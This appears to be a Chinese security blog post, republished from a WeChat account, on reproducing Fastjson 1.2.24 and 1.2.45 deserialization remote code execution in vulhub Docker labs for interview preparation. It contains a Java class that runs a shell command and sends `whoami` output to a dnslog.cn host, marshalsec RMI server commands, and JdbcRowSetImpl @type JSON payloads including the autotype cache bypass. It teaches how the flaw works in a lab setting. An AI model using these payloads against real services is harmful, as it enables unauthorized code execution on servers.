前言
在护网面试中面试官大多数都会问"Fastjson"的原理和利用,大部分人的回答要么不正确要么是对着笔记念出来。
有可能你的中级就差一个"Fastjson"(dog)
环境搭建
- java-8
- ubuntu-20.04
- kali
- docker
- docker-compose
使用 vulhub 提供的docker-compose
git
clone https://github.com/vulhub/vulhub.git
1.2.24-RCE
环境启动
cd
1
.2
.24-rce
sudo
docker-compose
up
-d
docker ps
访问 {ip}:8090即可
构造json数据
可以看到在1.2.24版本中是没有任何提示是关于Fastjson
使用 DNSLog Platform
创建一个dcnlog的类 执行ping命令
import
java.lang.Runtime;
import
java.lang.Process;
public
class
dnslog
{
static
{
try
{
Runtime
rt =
Runtime
.getRuntime();
String
[] commands = {
"/bin/sh"
,
"-c"
,
"ping user.`whoami`.bf5odj.dnslog.cn"
};
Process
pc = rt.exec(commands);
pc.waitFor();
}
catch
(
Exception
e) {
// 1
}
}
}
使用 javac 编译
javac
dnslog
.java
把编译好的文件复制到ubuntu虚拟机中
并启动 http服务
python3
-m
http
.server
9998
git
clone
https:
//github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package –DskipTests
cd target/
java -cp marshalsec
-0.0
.3
-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http:
//(启动python服务的ip):(启动python服务的端口)/#dnslog” 9999
启动服务
java
-cp marshalsec-0.0.3-SNAPSHOT-
all
.jar marshalsec.jndi.RMIRefServer
"http://192.168.20.139:9998/#dnslog"
9999
进行复现
payload
{
"b"
:{
"@type"
:
"com.sun.rowset.JdbcRowSetImpl"
,
"dataSourceName"
:
"rmi://192.168.20.139:9999/dnslog"
,
"autoCommit"
:
true
}
}
可以看到命令执行成功
1.2.45-RCE
环境搭建
cd
1
.2
.45-rce
sudo
docker-compose
up
-d
在47版本中最明显的点就是json报错会出现fastjson特征
payload
{
"a"
:{
"@type"
:
"java.lang.Class"
,
"val"
:
"com.sun.rowset.JdbcRowSetImpl"
},
"b"
:{
"@type"
:
"com.sun.rowset.JdbcRowSetImpl"
,
"dataSourceName"
:
"rmi://192.168.20.139:9999/dnslog"
,
"autoCommit"
:
true
}
}
问题解答
fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择一种是基于"setter/getter"
判断
1:json传输就去尝试
2:1.2.45:com.alibaba.fastjson.JSON
为什么会有 @type 因为fastjson引入了 AutoType 为了不让他寻找错目标 com.sun.rowset.JdbcRowSetImpl 一定会被读取加载
com.sun.rowset.JdbcRowSetImpl 就是被反序列化的恶意类 和触发点差不多
为什么必须得是 dataSourceName 可以理解成传参值就比如
$a
=
$_GET
[
'a'
];
$b
=
$_GET
[
'b'
];
需要传的值
rmi是一个服务器
rmi://{ip/域名}:9999/dnslog
rmi 一个服务器执行 另一个服务器 给的命令 无回显所以使用了dnslog来判定有没有回显
import
java.lang.Runtime;
import
java.lang.Process;
public
class
dnslog
{
static
{
try
{
Runtime
rt =
Runtime
.getRuntime();
String
[] commands = {
"/bin/sh"
,
"-c"
,
"ping user.`whoami`.0vqkht.dnslog.cn"
};
Process
pc = rt.exec(commands);
pc.waitFor();
}
catch
(
Exception
e) {
// do nothing
}
}
}
可以看到这个恶意的class内容是执行里面的命令
"/bin/sh"
,
"-c"
,
"ping user.`whoami`.0vqkht.dnslog.cn"
autoCommit true 跟上就可以
为什么到 1.2.45 之后payload变成了
{
"a"
:{
"@type"
:
"java.lang.Class"
,
"val"
:
"com.sun.rowset.JdbcRowSetImpl"
},
"b"
:{
"@type"
:
"com.sun.rowset.JdbcRowSetImpl"
,
"dataSourceName"
:
"rmi://192.168.20.139:9999/dnslog"
,
"autoCommit"
:
true
}
}
我们先讲一下他的演变过程
从v1.2.25开始,fastjson默认关闭了autotype支持,并且加入了checkAutotype
在fastjson v1.2.41 之前,在checkAutotype的代码中,会先进行黑白名单的过滤,如果要反序列化的类不在黑白名单中,那么才会对目标类进行反序列化。
在作者发现这个漏洞之后进行了强匹配
"@type"
:
"com.sun.rowset.JdbcRowSetImpl"
,
type 不能等于 com.sun.rowset.JdbcRowSetImpl 然后作者以为就安全了但是出了绕过方法就是在前面加L后面加;Lcom.sun.rowset.JdbcRowSetImpl;这样进行了如果然后作者发现后吧又加了个强匹配不能等于Lcom.sun.rowset.JdbcRowSetImpl;
然后又被大手子绕过了变成了LL xx ;;
v1.2.45
autoType不开启反而会被攻击。
因为在fastjson中有一个全局缓存,在类加载的时候,如果autotype没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回
java.lang.Class类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。
如果fastjson cache为true,就会缓存这个val对应的class到全局缓存中
"@type"
:
"java.lang.Class"
,
"val"
:
"com.sun.rowset.JdbcRowSetImpl"
java.lang.Class类是肯定存在的所以会调用缓存
val 恶意类com.sun.rowset.JdbcRowSetImpl
原文始发于微信公众号(渗透安全团队):为什么你面不上蓝中?你和别人差距在哪里?【Fastjson篇】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论